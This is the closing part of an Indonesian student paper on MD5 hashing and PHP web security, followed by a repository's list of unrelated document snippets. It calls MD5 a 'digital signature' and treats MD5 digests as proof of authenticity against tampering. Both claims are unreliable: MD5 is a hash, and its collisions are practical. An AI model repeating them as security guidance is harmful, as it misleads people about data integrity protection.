MD = MDL – 1

(23)

IV = initial vector dari penyangga ABCD, yang dilakukan pada proses inisialisasi

penyangga.

Yq = blok pesan berukuran 512-bit ke-q

L = jumlah blok pesan

MD = nilai akhir message digest

Hasil MD ini lah yang nantinya akan disertakan dalam isi pesan, file yang akan didownload, dan kemudian tampilan layout website yang kemungkinan diubah oleh para hacker dan cracker untuk menjadi sebuah acuan bahwa pesan, file, dan website ini adalah benar keasliannya

(24)

1. PHP atau personal homepage yang dapat dipakai untuk memprogram situs web dinamis dan memiliki banyak kelebihan salah satunya kemudahan mencari sumber referensi.

2. Kriptography adalah sebuah ilmu dan dapat pula diibaratkan sebagai seni yang mengatur kerahasiaan data dan menyembunyikan informasi untuk mencegah pihak yang tidak berhak membacanya atau pihak yang tidak bertanggung jawab yang ingin merubahnya.

3. Kriptography juga telah menyiapkan teknologi yang dipakai untuk menjaga otentifikasi dan integritas data. Digital Signature yang lebih sering kita kenal sebagai MD5 kriptography. 4. Salah satu contoh kelemahan PHP adalah kode PHP yang tidak dieksekusi sebagai file PHP,

variable autoglobal, fungsi include(), fungsi require(), fungsi fopen(), dan SQL injection. 5. Langkah - langkah yang kita tempuh untuk mencari ‘sidik jari’ atau inti dari pesan yaitu

menambah bit, menambah panjang pesan, inisialisasi MD5, dan proses pesan dalam blok 16 word.

(25)

Wikipedia.com klik-kanan.com prothelon.com

areaphp.wordpress.com geocities.com

Mulya, megah, Kriptography, fasilkom UNSRI, 2008.

Rahayu, Flourensia Sapty, Proteksi dan Teknik Keamanan Sistem Informasi, Universitas Indonesia, 2005.

Sofwan, Aghus, Aplikasi Kriptography dengan Algoritma Message Digest 5 (MD5), Universitas Diponegoro, 2006

Gambar

Gambar 8. Pengolahan blok 512 bit (Proses H MD5 )
Gambar 10. Operasi dasar MD5
Tabel 1. Fungsi-fungsi dasar MD5

Referensi

Dokumen terkait

Dari tujuan dibuatkan gambar teknik tersebut, terdapat ketetapan atau aturan-aturan agar informasi yang ada dalam gambar dapat dipahami bukan hanya oleh si penggambar tetapi

Tidak ada perbedaan syarat dukungan dan penutupan basis pada kasus gigitiruan sadel berujung bebas dengan gigititiruan penuh baik rahang atas atau rahang bawah, oleh karena

Di samping itu, pada bagian ini dicantumkan juga nilai dan volume kegiatan pembangunan, operasi dan pemeliharaan prasarana secara umum yang dilaksanakan oleh

mendamaikan kedua belah pihak dengan cara mempertemukan para pihak untuk mediasi. Ketua Pengadilan Agama Rengat Bapak Drs. Muhdi Kholil, SH., M.A., M.M juga menyampaikan

(sama ada terkandung dalam permohonan ini atau diperolehi dengan cara lain, termasuk melalui agensi pelaporan kredit) boleh dipegang, digunakan dan diberikan oleh AIA

Lukisan berjudul Women III adalah merupakan hasil karya yang dibuat oleh seniman yang menganut aliran lukisan abstrak ekspresionis willem de Kooning dan merupakan salah satu

Dalam keadaan terpaksa, misalnya pasien tidak mungkin untuk diangkut ke kota/rumah sakit besar, sedangkan tindakan darurat harus segera diambil maka seorang dokter atau bidan

Jika variabel bebas yang terdiri dari diferensiasi produk, citra merek, kualitas produk, dan harga mempunyai nilai sama dengan nol, maka keputusan pembelian pada